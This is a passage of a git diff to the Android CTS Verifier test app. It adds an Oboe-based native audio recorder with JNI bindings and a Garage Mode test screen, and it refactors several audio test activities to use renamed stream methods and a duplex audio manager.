+StreamBase::Result OboeRecorder::setupStream(
+    int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId)
+{
+    //TODO much of this could be pulled up into OboeStream.
+
+    std::lock_guard<std::mutex> lock(mStreamLock);
+
+    oboe::Result result = oboe::Result::ErrorInternal;
+    if (mAudioStream != nullptr) {
+        return ERROR_INVALID_STATE;
+    } else {
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        mRouteDeviceId = routeDeviceId;
+
+        // Create an audio stream
+        AudioStreamBuilder builder;
+        builder.setChannelCount(mChannelCount);
+        builder.setSampleRate(mSampleRate);
+        builder.setCallback(this);
+        if (mInputPreset != DEFAULT_INPUT_NONE) {
+            builder.setInputPreset((enum InputPreset)mInputPreset);
+        }
+        builder.setPerformanceMode(PerformanceMode::LowLatency);
+        // builder.setPerformanceMode(PerformanceMode::None);
+        builder.setSharingMode(SharingMode::Exclusive);
+        builder.setSampleRateConversionQuality(SampleRateConversionQuality::None);
+        builder.setDirection(Direction::Input);
+
+        if (mRouteDeviceId != -1) {
+            builder.setDeviceId(mRouteDeviceId);
+        }
+
+        mAudioSink->init(mBufferSizeInFrames, mChannelCount);
+
+        if (mSubtype == SUB_TYPE_OBOE_AAUDIO) {
+            builder.setAudioApi(AudioApi::AAudio);
+        } else if (mSubtype == SUB_TYPE_OBOE_OPENSL_ES) {
+            builder.setAudioApi(AudioApi::OpenSLES);
+        }
+
+        result = builder.openStream(mAudioStream);
+        if (result != oboe::Result::OK){
+            __android_log_print(
+                    ANDROID_LOG_ERROR,
+                    TAG,
+                    "openStream failed. Error: %s", convertToText(result));
+        } else {
+            mBufferSizeInFrames = mAudioStream->getFramesPerBurst();
+        }
+    }
+
+    return OboeErrorToMegaAudioError(result);
+}
+
+StreamBase::Result OboeRecorder::startStream() {
+    StreamBase::Result result = Recorder::startStream();
+    if (result == OK) {
+        mAudioSink->start();
+    }
+    return result;
+}
+
+oboe::DataCallbackResult OboeRecorder::onAudioReady(
+        oboe::AudioStream *audioStream, void *audioData, int numFrames) {
+    mAudioSink->push((float*)audioData, numFrames, mChannelCount);
+    return oboe::DataCallbackResult::Continue;
+}
+
+#include <jni.h>
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_allocNativeRecorder(JNIEnv *env, jobject thiz, jlong native_audio_sink, jint recorderSubtype) {
+    OboeRecorder* recorder = new OboeRecorder((AudioSink*)native_audio_sink, recorderSubtype);
+    return (jlong)recorder;
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getBufferFrameCountN(
+        JNIEnv *env, jobject thiz, jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->getNumBufferFrames();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_setInputPresetN(JNIEnv *env, jobject thiz,
+                                                                   jlong native_recorder,
+                                                                   jint input_preset) {
+    ((OboeRecorder*)native_recorder)->setInputPreset(input_preset);
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_setupStreamN(JNIEnv *env, jobject thiz,
+                                                                   jlong native_recorder,
+                                                                   jint channel_count,
+                                                                   jint sample_rate,
+                                                                   jint route_device_id) {
+    return ((OboeRecorder*)native_recorder)->setupStream(channel_count, sample_rate, route_device_id);
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_teardownStreamN(
+    JNIEnv *env, jobject thiz, jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->teardownStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_startStreamN(JNIEnv *env, jobject thiz,
+                                                              jlong native_recorder,
+                                                              jint recorder_subtype) {
+    return ((OboeRecorder*)native_recorder)->startStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_stopN(JNIEnv *env, jobject thiz,
+                                                       jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->stopStream();
+}
+
+JNIEXPORT jboolean JNICALL
+        Java_org_hyphonate_megaaudio_recorder_OboeRecorder_isRecordingN(
+                JNIEnv *env, jobject thiz, jlong native_recorder) {
+    OboeRecorder* nativeRecorder = ((OboeRecorder*)native_recorder);
+    return nativeRecorder->isRecording();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getNumBufferFramesN(
+        JNIEnv *env, jobject thiz, jlong native_recorder) {
+    OboeRecorder* nativeRecorder = ((OboeRecorder*)native_recorder);
+    return nativeRecorder->getNumBufferFrames();
+}
+
+extern "C"
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getRoutedDeviceIdN(JNIEnv *env, jobject thiz, jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->getRoutedDeviceId();
+}
+
+}   // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h
new file mode 100644
index 0000000..7b1e07a
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_OBOERECORDER_H
+#define MEGA_RECORDER_OBOERECORDER_H
+
+#include <mutex>
+
+#include <oboe/Oboe.h>
+
+#include "Recorder.h"
+
+class OboeRecorder: public oboe::AudioStreamCallback, public Recorder {
+public:
+    OboeRecorder(AudioSink* sink, int32_t recorderSubtype);
+    virtual ~OboeRecorder() {}
+
+    // Inherited from oboe::AudioStreamCallback
+    virtual oboe::DataCallbackResult onAudioReady(oboe::AudioStream *audioStream, void *audioData, int numFrames) override;
+//    virtual void onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) override {}
+//    virtual void onErrorBeforeClose(oboe::AudioStream * oboeStream, oboe::Result error) override {}
+
+    // Inherited from Recorder
+    //
+    // State
+    //
+    virtual bool isRecording() override { return mStreamStarted; }
+
+    virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) override;
+
+    virtual Result startStream() override;
+
+    static const int DEFAULT_INPUT_NONE = -1;  // from Recorder.java
+    void setInputPreset(int inputPreset) { mInputPreset = inputPreset; }
+
+private:
+    int32_t mInputPreset;
+};
+
+#endif // MEGA_RECORDER_OBOERECORDER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h b/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h
new file mode 100644
index 0000000..c9357ad
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_RECORDER_H
+#define MEGA_RECORDER_RECORDER_H
+
+#include <OboeStream.h>
+
+class AudioSink;
+
+class Recorder: public OboeStream {
+public:
+    Recorder(AudioSink* sink, int subtype) : OboeStream(subtype), mAudioSink(sink) {}
+    virtual ~Recorder() {}
+
+    //
+    // State
+    //
+    virtual bool isRecording() = 0;
+
+protected:
+    std::shared_ptr<AudioSink>    mAudioSink;
+};
+
+#endif // MEGA_RECORDER_RECORDER_H
diff --git a/apps/CtsVerifier/res/layout/garage_test_main.xml b/apps/CtsVerifier/res/layout/garage_test_main.xml
new file mode 100644
index 0000000..5073523
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/garage_test_main.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <LinearLayout app:ctsv_layout_box="all"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent"
+        android:orientation="vertical" >
+        <include layout="@layout/pass_fail_buttons"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:paddingVertical="12dp"
+            android:paddingHorizontal="24dp"
+            android:id="@+id/car_garage_mode_results"/>
+        <Button
+            android:id="@+id/car_wifi_settings"
+            android:layout_height="100dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_wifi_settings"/>
+        <Button
+            android:id="@+id/launch_garage_monitor"
+            android:layout_height="100dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_enable_garage_monitor"/>
+    </LinearLayout>
+</com.android.cts.verifier.BoxInsetLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
old mode 100755
new mode 100644
index 849fe04..9f6ad07
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -45,6 +45,7 @@
     <string name="test_category_jobscheduler">Job Scheduler</string>
     <string name="test_category_telecom">Telecom</string>
     <string name="test_category_telephony">Telephony</string>
+    <string name="test_category_tunnel">Tunnel Mode</string>
     <string name="test_category_tv">TV</string>
     <string name="test_category_instant_apps">Instant Apps</string>
     <string name="test_category_display_cutout">DisplayCutout</string>
@@ -128,6 +129,18 @@
     <string name="da_tapjacking_test_info">This test checks that an activity cannot tapjack the
         user by obscuring the device admin details while prompting the user to activate the admin.
     </string>
+    <string name="car_enable_garage_monitor">Enable Garage Mode Monitor</string>
+    <string name="car_garage_mode_test">Garage Mode Test</string>
+    <string name="car_garage_mode_test_desc">
+        This test verifies that Garage Mode runs at the end of a drive.\n\n
+        Optional: Disable Wi-Fi to minimize other activity during the test.\n\n
+        Touch "Enable Garage Mode Monitor" to launch the Garage Mode verifier.\n\n
+        Turn the vehicle off and exit the vehicle (or take the proprietary action that
+        initiates shut-down of the system).\n\n
+        Do not enter or disturb the vehicle for at least 15 minutes.\n\n
+        Enter the vehicle. Re-launch the CTS-Verifier app if it is not running.\n\n
+        If Garage Mode ran as required, the pass button will be enabled.</string>
+    <string name="car_wifi_settings">Go to Wi-Fi settings</string>
     <string name="car_dock_test">Car Dock Test</string>
     <string name="car_dock_test_desc">This test ensures that car mode opens the app associated with
         car dock when going into car mode.\n\n
@@ -587,6 +600,7 @@
     <string name="ble_read_descriptor_name">Bluetooth LE Read Descriptor</string>
     <string name="ble_write_descriptor_name">Bluetooth LE Write Descriptor</string>
     <string name="ble_read_rssi_name">Bluetooth LE Read RSSI</string>
+    <string name="ble_on_service_changed">Bluetooth LE On Service Changed</string>
     <string name="ble_client_disconnect_name">Bluetooth LE Client Disconnect</string>
     <string name="ble_insecure_client_test_info">
         The Bluetooth LE test must be done simultaneously on two devices. This device is the client.
@@ -635,6 +649,7 @@
     <string name="ble_server_read_descriptor">Waiting on read descriptor request</string>
     <string name="ble_server_reliable_write">Waiting on reliable write from client</string>
     <string name="ble_server_reliable_write_bad_resp">Waiting on reliable write from client (send bad response)</string>
+    <string name="ble_server_service_changed_indication">Waiting on service changed indication</string>
     <string name="ble_server_receiving_disconnect">Waiting on disconnection from Bluetooth LE client</string>
     <string name="ble_connection_priority_server_name">02 Bluetooth LE Connection Priority Server Test</string>
     <string name="ble_connection_priority_server_info">Bluetooth LE Connection Priority Server receive message from message in 3 different priority.</string>
@@ -1703,6 +1718,9 @@
     <string name="sv_failed_title">Test Failed</string>
     <string name="sv_failed_message">Unable to play stream.  See log for details.</string>
 
+    <!-- Strings for MediaCodecFlushActivity -->
+    <string name="media_codec_flush">Video codec flushing in Tunnel Mode</string>
+
     <!-- Strings for the Camera Bokeh mode test activity -->
     <string name="camera_bokeh_test">Camera Bokeh</string>
     <string name="camera_bokeh_test_info">
@@ -1756,8 +1774,8 @@
     <string name="wifi_status_suggestion_get_failure">Failed to get suggestions.</string>
     <string name="wifi_status_suggestion_remove">Removing suggestions from the device.</string>
     <string name="wifi_status_suggestion_remove_failure">Failed to remove suggestions.</string>
-    <string name="wifi_status_suggestion_wait_for_connect">Waiting for network connection. Please click \"Allow\" in the dialog that pops up for approving the app.</string>
-    <string name="wifi_status_suggestion_ensure_no_connect">Ensuring no network connection. Please click \"Allow\" in the dialog that pops up for approving the app.</string>
+    <string name="wifi_status_suggestion_wait_for_connect">Waiting for network connection.</string>
+    <string name="wifi_status_suggestion_ensure_no_connect">Ensuring no network connection.</string>
     <string name="wifi_status_suggestion_connect">Connected to the network.</string>
     <string name="wifi_status_suggestion_not_connected">Did not connect to the network.</string>
     <string name="wifi_status_suggestion_wait_for_post_connect_bcast">Waiting for post connection broadcast.</string>
@@ -1773,6 +1791,10 @@
     <string name="wifi_status_suggestion_capabilities_not_changed">Network capabilities did not change.</string>
     <string name="wifi_status_suggestion_not_disconnected">Did not disconnect from the network.</string>
     <string name="wifi_status_suggestion_disconnected">Disconnected from the network.</string>
+    <string name="wifi_status_suggestion_add_user_approval_status_listener_failure">Failed to add user approval status listener</string>
+    <string name="wifi_status_suggestion_wait_for_user_approval">Waiting for user approval. Please click \"Allow\" in the dialog that pops up for approving the app</string>
+    <string name="wifi_status_suggestion_user_approval_status_failure">Failed to receive user approval status change</string>
+    <string name="wifi_status_suggestion_user_approve_failure">Failed to get user approval</string>
 
     <string name="wifi_status_test_success">Test completed successfully!</string>
     <string name="wifi_status_test_failed">Test failed!</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index 3836074..197cd0b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -286,7 +286,8 @@
 
     protected void startPlay() {
         if (!mIsPlaying) {
-            mAudioPlayer.setupAudioStream(NUM_CHANNELS, SAMPLE_RATE, 96);
+            //TODO - explain the choice of 96 here.
+            mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
             mAudioPlayer.startStream();
             mIsPlaying = true;
         }
@@ -295,7 +296,7 @@
     protected void stopPlay() {
         if (mIsPlaying) {
             mAudioPlayer.stopStream();
-            mAudioPlayer.teardownAudioStream();
+            mAudioPlayer.teardownStream();
             mIsPlaying = false;
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
index fa82446..4b2d213 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
@@ -132,7 +132,7 @@
                     .setRecorderType(RecorderBuilder.TYPE_JAVA)
                     .setAudioSinkProvider(new NopAudioSinkProvider())
                     .build();
-            mAudioRecorder.setupAudioStream(NUM_CHANNELS, SAMPLE_RATE, mNumFrames);
+            mAudioRecorder.setupStream(NUM_CHANNELS, SAMPLE_RATE, mNumFrames);
         } catch (RecorderBuilder.BadStateException ex) {
             Log.e(TAG, "Failed MegaRecorder build.");
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
index 7f96464..b61ea25 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -321,7 +321,7 @@
         mLatencyMillis = 0.0;
         mConfidence = 0.0;
 
-        mNativeAnalyzerThread = new NativeAnalyzerThread();
+        mNativeAnalyzerThread = new NativeAnalyzerThread(this);
         if (mNativeAnalyzerThread != null) {
             mNativeAnalyzerThread.setMessageHandler(messageHandler);
             // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
index cd66d57..62749c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
@@ -133,7 +133,8 @@
                     // .setPlayerType(PlayerBuilder.PLAYER_OBOE)
                     .setSourceProvider(sourceProvider)
                     .build();
-            mAudioPlayer.setupAudioStream(NUM_CHANNELS, SAMPLE_RATE, 96);
+            //TODO - explain the choice of 96 here.
+            mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
         } catch (PlayerBuilder.BadStateException ex) {
             Log.e(TAG, "Failed MegaPlayer build.");
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
index 2f74074..78991dc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
@@ -17,6 +17,8 @@
 
 package com.android.cts.verifier.audio;
 
+import android.content.Context;
+
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
@@ -26,12 +28,24 @@
 import android.util.Log;
 
 import android.os.Handler;
-import  android.os.Message;
+import android.os.Message;
+
+import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
+
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.Player;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
 
 /**
  * A thread that runs a native audio loopback analyzer.
  */
 public class NativeAnalyzerThread {
+    private static final String TAG = "NativeAnalyzerThread";
+
+    private Context mContext;
+
     private final int mSecondsToRun = 5;
     private Handler mMessageHandler;
     private Thread mThread;
@@ -40,6 +54,9 @@
     private volatile double mConfidence = 0.0;
     private volatile int mSampleRate = 0;
 
+    private Player mAudioPlayer;
+    private int NUM_CHANNELS = 2;
+
     private int mInputPreset = 0;
 
     static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED = 892;
@@ -48,6 +65,10 @@
     static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE = 895;
     static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS = 896;
 
+    public NativeAnalyzerThread(Context context) {
+        mContext = context;
+    }
+
     public void setInputPreset(int inputPreset) {
         mInputPreset = inputPreset;
     }
@@ -56,8 +77,10 @@
     static {
         try {
             System.loadLibrary("audioloopback_jni");
+            System.loadLibrary("megaaudio_jni");
         } catch (UnsatisfiedLinkError e) {
             log("Error loading loopback JNI library");
+            log("e: " + e);
             e.printStackTrace();
         }
 
@@ -67,16 +90,60 @@
     /**
      * @return native audio context
      */
-    private native long openAudio(int micSource);
-    private native int startAudio(long audio_context);
-    private native int stopAudio(long audio_context);
-    private native int closeAudio(long audio_context);
+//    private native long openAudio(int micSource);
+    private long openAudio(int micSource) {
+        AudioSystemParams audioSystemParams = new AudioSystemParams();
+        audioSystemParams.init(mContext);
+
+        int systemSampleRate = audioSystemParams.getSystemSampleRate();
+        int numBufferFrames = audioSystemParams.getSystemBufferFrames();
+
+        //
+        // Allocate the source provider for the sort of signal we want to play
+        //
+        AudioSourceProvider sourceProvider = new SinAudioSourceProvider();
+        try {
+            PlayerBuilder builder = new PlayerBuilder();
+            mAudioPlayer = builder
+                    // choose one or the other of these for a Java or an Oboe player
+                    // .setPlayerType(PlayerBuilder.TYPE_JAVA)
+                    .setPlayerType(PlayerBuilder.TYPE_OBOE)
+                    .setSourceProvider(sourceProvider)
+                    .build();
+            mAudioPlayer.setupStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
+        } catch (PlayerBuilder.BadStateException ex) {
+            Log.e(TAG, "Failed MegaPlayer build.");
+            return -1;
+        }
+
+        // Don't need this any more
+        return 0;
+    }
+
+    // return a result code. < 0 indicates an error
+    private int startAudio(long audio_context) {
+        return mAudioPlayer.startStream();
+    }
+
+    private int stopAudio(long audio_context) {
+        return mAudioPlayer.stopStream();
+    }
+
+    // return a result code. < 0 indicates an error
+    private int closeAudio(long audio_context) {
+        return mAudioPlayer.teardownStream();
+    }
+
     private native int getError(long audio_context);
     private native boolean isRecordingComplete(long audio_context);
     private native int analyze(long audio_context);
     private native double getLatencyMillis(long audio_context);
     private native double getConfidence(long audio_context);
-    private native int getSampleRate(long audio_context);
+
+    // private native int getSampleRate(long audio_context);
+    private int getSampleRate(long audio_context) {
+        return mAudioPlayer.getSampleRate();
+    }
 
     public double getLatencyMillis() {
         return mLatencyMillis;
@@ -146,11 +213,7 @@
                     sendMessage(NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR);
                     break;
                 } else if (isRecordingComplete(audioContext)) {
-                    result = stopAudio(audioContext);
-                    if (result < 0) {
-                        sendMessage(NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR);
-                        break;
-                    }
+                    stopAudio(audioContext);
 
                     // Analyze the recording and measure latency.
                     mThread.setPriority(Thread.MAX_PRIORITY);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index d1a7726..7b85469 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -62,7 +62,7 @@
                     // .setPlayerType(PlayerBuilder.PLAYER_OBOE)
                     .setSourceProvider(sourceProvider)
                     .build();
-            mAudioPlayer.setupAudioStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
+            mAudioPlayer.setupStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
         } catch (PlayerBuilder.BadStateException ex) {
             Log.e(TAG, "Failed MegaPlayer build.");
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index 7c3cb08..880013f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -21,26 +21,43 @@
 import android.util.Log;
 import android.view.View;
 import android.widget.Button;
+import android.widget.Toast;
 
 import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
 import com.android.cts.verifier.audio.audiolib.WaveScopeView;
 
 // MegaAudio imports
 import org.hyphonate.megaaudio.common.BuilderBase;
-import org.hyphonate.megaaudio.recorder.JavaRecorder;
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.duplex.DuplexAudioManager;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
 import org.hyphonate.megaaudio.recorder.RecorderBuilder;
 import org.hyphonate.megaaudio.recorder.sinks.AppCallback;
 import org.hyphonate.megaaudio.recorder.sinks.AppCallbackAudioSinkProvider;
 
 import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
 
-public class USBAudioPeripheralRecordActivity extends USBAudioPeripheralPlayerActivity {
+public class USBAudioPeripheralRecordActivity extends USBAudioPeripheralActivity {
     private static final String TAG = "USBAudioPeripheralRecordActivity";
 
-    // MegaRecorder
-    private static final int NUM_CHANNELS = 2;
-    private JavaRecorder    mRecorder;
+    // JNI load
+    static {
+        try {
+            System.loadLibrary("megaaudio_jni");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "Error loading MegaAudio JNI library");
+            Log.e(TAG, "e: " + e);
+            e.printStackTrace();
+        }
 
+        /* TODO: gracefully fail/notify if the library can't be loaded */
+    }
+
+    // MegaAudio
+    private static final int NUM_CHANNELS = 2;
+    private DuplexAudioManager   mDuplexManager;
+
+    private boolean mIsPlaying = false;
     private boolean mIsRecording = false;
 
     // Widgets
@@ -66,38 +83,39 @@
         int systemSampleRate = audioSystemParams.getSystemSampleRate();
         int numBufferFrames = audioSystemParams.getSystemBufferFrames();
 
-        try {
-            RecorderBuilder builder = new RecorderBuilder();
-            mRecorder = (JavaRecorder)builder
-                    .setRecorderType(BuilderBase.TYPE_JAVA)
-                    .setAudioSinkProvider(new AppCallbackAudioSinkProvider(new ScopeRefreshCallback()))
-                    .build();
-            mRecorder.setupAudioStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
+        mDuplexManager = new DuplexAudioManager(
+                withLoopback ? new SinAudioSourceProvider() : null,
+                new AppCallbackAudioSinkProvider(new ScopeRefreshCallback()));
 
-            mIsRecording = mRecorder.startStream();
-
-            if (withLoopback) {
-                startPlay();
-            }
-        } catch (RecorderBuilder.BadStateException ex) {
-            Log.e(TAG, "Failed MegaRecorder build.");
-            mIsRecording = false;
+        if (mDuplexManager.setupStreams(
+                withLoopback ? BuilderBase.TYPE_JAVA : BuilderBase.TYPE_NONE,
+                BuilderBase.TYPE_JAVA) != StreamBase.OK) {
+            Toast.makeText(
+                    this, "Couldn't create recorder. Please check permissions.", Toast.LENGTH_LONG)
+                    .show();
+            return mIsRecording = false;
         }
 
+        if (mDuplexManager.start() != StreamBase.OK) {
+            Toast.makeText(
+                    this, "Couldn't start recording. Please check permissions.", Toast.LENGTH_LONG)
+                    .show();
+            return mIsRecording = false;
+        } else {
+            mIsRecording = true;
+            mIsPlaying = withLoopback;
+        }
         return mIsRecording;
     }
 
-    public void stopRecording() {
-        if (mRecorder != null) {
-            mRecorder.stopStream();
-            mRecorder.teardownAudioStream();
+    public int stopRecording() {
+        int result = StreamBase.OK;
+        if (mDuplexManager != null) {
+            result = mDuplexManager.stop();
         }
-
-        if (mAudioPlayer != null && mAudioPlayer.isPlaying()) {
-            mAudioPlayer.stopStream();
-        }
-
         mIsRecording = false;
+
+        return result;
     }
 
     public boolean isRecording() {
@@ -117,8 +135,6 @@
         mRecordLoopbackBtn = (Button)findViewById(R.id.uap_recordRecordLoopBtn);
         mRecordLoopbackBtn.setOnClickListener(mButtonClickListener);
 
-        setupPlayer();
-
         mWaveView = (WaveScopeView)findViewById(R.id.uap_recordWaveView);
         mWaveView.setBackgroundColor(Color.DKGRAY);
         mWaveView.setTraceColor(Color.WHITE);
@@ -168,9 +184,6 @@
                         mRecordBtn.setEnabled(false);
                     }
                 } else {
-                    if (isPlaying()) {
-                        stopPlay();
-                    }
                     stopRecording();
                     mRecordLoopbackBtn.setText(
                         getString(R.string.audio_uap_record_recordLoopbackBtn));
@@ -185,10 +198,10 @@
     protected void onPause() {
         super.onPause();
 
-        stopPlay();
+        stopRecording();
     }
 
-    class ScopeRefreshCallback implements AppCallback {
+    public class ScopeRefreshCallback implements AppCallback {
         @Override
         public void onDataReady(float[] audioData, int numFrames) {
             mWaveView.setPCMFloatBuff(audioData, NUM_CHANNELS, numFrames);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
index d51ea2c..ddaef32 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
@@ -152,7 +152,7 @@
             UsbDevice theDevice = (UsbDevice) devices[0];
 
             PendingIntent permissionIntent =
-                    PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), 0);
+                    PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             IntentFilter filter = new IntentFilter(ACTION_USB_PERMISSION);
             ConnectDeviceBroadcastReceiver usbReceiver =
